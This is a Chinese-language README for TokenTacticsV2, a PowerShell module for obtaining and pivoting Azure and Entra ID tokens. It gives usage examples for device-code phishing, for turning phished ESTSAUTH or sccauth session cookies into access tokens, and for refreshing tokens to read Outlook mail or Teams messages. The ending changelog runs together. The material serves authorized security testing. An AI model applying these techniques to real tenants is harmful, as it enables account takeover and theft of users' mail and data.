______ __ __ __ _ ___
/_ __/___ / /_____ ____ / /_____ ______/ /_(_)_________ _ __ |__ \
/ / / __ \/ //_/ _ \/ __ \ / __/ __ `/ ___/ __/ / ___/ ___/ | | / / __/ /
/ / / /_/ / ,< / __/ / / / / /_/ /_/ / /__/ /_/ / /__(__ ) | |/ / / __/
/_/ \____/_/|_|\___/_/ /_/ \__/\__,_/\___/\__/_/\___/____/ |___(_)____/
这是 TokenTactics 的更新版本,原作者为 Stephan Borosh @rvrsh3ll 和 Bobby Cooke @0xBoku。
Azure 访问令牌允许您以通过设备代码登录的用户身份向特定端点进行身份验证。如果您拥有 FOCI(客户端 ID 家族) 可用的刷新令牌,则可以使用它来获取所有已知 FOCI 能力端点 的访问令牌。由于刷新令牌还包含用户是否已完成多重身份验证的信息,因此您可以利用这一点。一旦拥有用户的访问令牌,就可能访问某些应用程序,如 Outlook、SharePoint、OneDrive、MSTeams 等。
例如,如果您拥有 Graph 或 MSGraph 刷新令牌,则可以连接到 Azure 并转储用户、组等。然后,根据条件访问策略,您可以切换到 Azure Core Management 令牌并运行 AzureHound。接着,获取 Outlook 访问令牌读取/发送电子邮件,或获取 MS Teams 访问令牌读取/发送 Teams 消息!
有关 Azure 令牌类型的更多信息,请参阅 Microsoft 标识平台访问令牌。
resources 文件夹中包含一些端点请求示例。此外,还有一个用于设备代码钓鱼的示例钓鱼模板。
您也可以将这些令牌与 AAD Internals 一起使用。我们强烈建议您查看这个出色的工具。
Import-Module .\TokenTactics.psd1
Get-Help Get-EntraIDToken
Invoke-RefreshToSubstrateToken -Domain "myclient.org"
测试套件需要 PowerShell 7 和 Pester 5.7.1。它使用模拟的 HTTP 响应,无需 Entra ID 凭据或网络访问。
Install-Module Pester -RequiredVersion 5.7.1 -Scope CurrentUser
pwsh ./tests/Invoke-Tests.ps1
相同的测试套件可在 Linux、macOS 和 Windows 上运行,适用于每个拉取请求。
Get-EntraIDToken -Client MSGraph
用户登录后,您将看到 JWT,并将其保存在 $response 变量中。要访问访问令牌,请在 PowerShell 窗口中使用 $response.access_token 显示令牌。您也可以使用 $response.refresh_token 显示刷新令牌。提示:您需要刷新令牌来不断刷新为新令牌!
Get-EntraIDToken -Client DODMSGraph
[!IMPORTANT] 此功能在 v0.2.20 中引入,需要 PowerShell 7.0
如果您在第三方提供商(如 KeePassXC、Bitwarden、1Password 等)中创建了密钥,则可以导出私钥材料。
[!CAUTION] 导出私钥材料极其危险。请确保在继续之前了解相关风险。
KeePassXC 密钥文件格式原生受支持,您可以直接将 cmdlet 指向该文件。初始登录过程仅会获取所需的 ESTSAUTH cookie,您需要使用 Get-EntraIDTokenFromESTSCookie 将此 cookie 交换为持有者令牌(访问令牌、刷新令牌和 ID 令牌)。
# 检索 ESTSAUTH cookie 值
Invoke-EntraIDPasskeyLogin -Verbose -KeyFilePath "C:\Users\Fabian\Microsoft.passkey"
# 将 ESTSAUTH cookie 交换为持有者令牌
Get-EntraIDTokenFromESTSCookie -CookieValue $Global:ESTSAUTH
如果您有不支持的文件格式,可以手动指定所需的值来实现相同目标。
Invoke-EntraIDPasskeyLogin -Verbose -UserPrincipalName "[email protected]" -UserHandle "XYZ" -CredentialId "9e9c8297-0cde-4726-8852-16c141e15bd3" -PrivateKey $PrivateKey
Get-EntraIDTokenFromESTSCookie -CookieValue $Global:ESTSAUTH
如果您从已认证的 security.microsoft.com 会话(例如通过 Evilginx 或浏览器 DevTools)获取了 sccauth cookie,则可以使用它通过 Microsoft Defender XDR 门户获取大量资源的 Entra ID 访问令牌。
# 使用 sccauth cookie 检索 Microsoft Graph 令牌
Get-EntraIDTokenFromSCCAUTHCookie -SCCAuth "your_sccauth_value" -ResourceName MicrosoftGraph
# 明确提供 XSRF 令牌以跳过启动请求
Get-EntraIDTokenFromSCCAUTHCookie -SCCAuth "your_sccauth_value" -XSRF "your_xsrf_value" -ResourceName Azure
# 使用自定义资源 URL
Get-EntraIDTokenFromSCCAUTHCookie -SCCAuth "your_sccauth_value" -Resource "https://management.core.windows.net/"
支持的 -ResourceName 值:Azure, LogAnalytics, MATP, MCAS, MicrosoftGraph, MicrosoftOffice, Purview, PurviewACC, ThreatIntelligencePortal。
Get-EntraIDTokenFromESTSCookie -ESTSAuthCookie "0.AbcApTk..."
此模块使用授权代码流程,通过 ESTSAuth(或 ESTSAuthPersistent)cookie 获取访问令牌和刷新令牌。如果您通过 Evilginx 钓取了会话或以其他方式获取了此 cookie,这将非常有用。
请确保使用正确的 cookie!ESTSAuthPersistent 仅在 CA 策略实际授予持久会话时才有用。否则,您应该使用 ESTSAuth。通常可以根据长度判断使用哪个,较长的 cookie 是您想要使用的 :)
注意:这并非在所有情况下都有效,因为它可能需要用户交互。如果是这种情况,请使用上述设备代码流程,或尝试 roadtx interactiveauth --estscookie
此功能从原作者仓库中 rotarydrone 的 拉取请求 反向移植而来。
此 oauth2 流程 最著名的示例之一(至少在 2025 年初)是 Intune 公司门户,它允许一些资源绕过设备合规性要求。
此信息首先由 @dirkjan 发布,随后由 @TEMP43487580 在 Black Hat Europe 上广泛发布。不久之后,JumpsecLabs 发布了博文 和 POC TokenSmith。现在,TokenTacticsV2 也提供了相同的能力。
Get-AzureAuthorizationCode 将生成一个 URL,您可以用于身份验证。
Get-EntraIDTokenFromAuthorizationCode 可以使用完整 URL,也可以使用参数 AuthorizationCode 和 RedirectUrl 将授权代码交换为访问令牌和刷新令牌。之后,您可以像往常一样尝试访问其他资源。

如果您未指定刷新令牌,cmdlet 将默认使用 $response.refresh_token。
Invoke-RefreshToOutlookToken -domain "myclient.org"
$OutlookToken.access_token
Connect-AzureAD -AadAccessToken $response.access_token -AccountId [email protected]
Invoke-RefreshToMSGraphToken -Domain "myclient.org"
Connect-MgGraph -AccessToken $MSGraphToken.access_token -Scopes "User.Read.All","Group.ReadWrite.All"
这将移除所有令牌变量。
Clear-Token -Token All
通过持续访问评估,微软实施了额外的安全措施,同时将访问令牌的最长生存期延长至 24 小时。某些支持 CAE 的服务(如 MSGraph、Exchange、Teams 和 SharePoint)可以根据 Azure AD 触发的某些事件阻止访问令牌。目前这些关键事件是:
Invoke-RefreshToMSGraphToken -Domain "myclient.org" -UseCAE
if ((Parse-JWTtoken $MSGraphToken.access_token).ValidForHours -gt 23) { "MSGraph 令牌支持 CAE" }
如果您也安装了 AADInternals,则可以使用创建的访问令牌。
Invoke-RefreshToMSTeamsToken -UseCAE -Domain "myclient.org"
Set-AADIntTeamsStatusMessage -Message "我的酷状态消息" -AccessToken $MSTeamsToken.access_token -Verbose
Get-Command -Module TokenTactics
仅导出受支持的用户面向命令;解析、PKCE、通用刷新和 FIDO 加密辅助工具保留为私有实现细节。
TokenTactic 的方法深受 Dr Nestori Syynimaa 在 https://o365blog.com/ 上出色研究的影响。
Get-EntraIDTokenFromSCCAUTHCookie,用于使用来自 security.microsoft.com 的 sccauth cookie 检索各种资源(Azure、MicrosoftGraph、MATP、MCAS、Purview 等)的 Entra ID 访问令牌。可选接受 XSRF 令牌;如果省略,则自动引导。支持可选的 TenantId 参数,用于标头注入和 PurviewACC 资源构造。Get-Azure cmdlet 重命名为 Get-EntraIDInvoke-EntraIDPasskeyLogin 以自动化密钥登录流程。这将保存 ESTSAUTH cookie 和 web 会话作为全局变量,供其他 cmdlet(如 Get-EntraIDTokenFromESTSCookie)重复使用Invoke-EntraIDPasskeyLogin、Get-EntraIDTokenFromCookie、Get-EntraIDTokenFromRefreshTokenCredentialCookie 和 Get-EntraIDTokenFromESTSCookie 添加代理支持Get-AzureAuthorizationCode 添加参数 -Username 以预填 login_hint 参数Get-AzureAuthorizationCode 中添加参数 -CopyToClipboardForeach-Object -parallel 中),则最小化输出-CustomUserAgent 属性自由定义任何 UserAgent 的能力。感谢 Pri3stGet-EntraIDToken 添加 ResourceTenant 以支持 B2B 设备代码钓鱼UseCodeVerifier 以支持代码交换证明密钥 (PKCE)UseV1Endpoint 以支持更广泛的端点测试Get-AzureTokenFromRefreshTokenCredentialCookie(“x-ms-RefreshTokenCredential”)并模块化 Get-AzureTokenFromCookieGet-AzureTokenFromESTSCookie 的 cookie 类型(ESTSAuth, ESTSAUTHPERSISTENT)Get-AzureTokenFromAuthorizationCode 添加 Get-AzureAuthorizationCode 输出的示例输出Get-AzureTokenFromESTSCookie 以支持 appverify 端点Get-AzureTokenFromESTSCookie 的 cookie 管理Get-AzureAuthorizationCode 和 Get-AzureTokenFromAuthorizationCode 中自定义作用域的错误Get-AzureAuthorizationCode 的默认重定向 URIGet-AzureAuthorizationCode 和 Get-AzureTokenFromAuthorizationCode Invoke-RefreshToDeviceRegistrationToken,这是 AADInternals cmdlet Get-AccessTokenForAADJoin 的 TokenTactics 版本Invoke-RefreshToToken 添加 v1 端点支持(使用 UseV1Endpoint)。这是添加 Invoke-RefreshToDeviceRegistrationToken 所必需的ConvertFrom-JWTtoken 添加管道支持Get-ForgedUserAgent 添加默认值v2.0 版本-UseCAE 开关ClientId 设为参数client_idConvertFrom-JWTtoken 输出中添加了人类可读格式的 IssuedAt、NotBefore、ExpirationDate 和 ValidForHours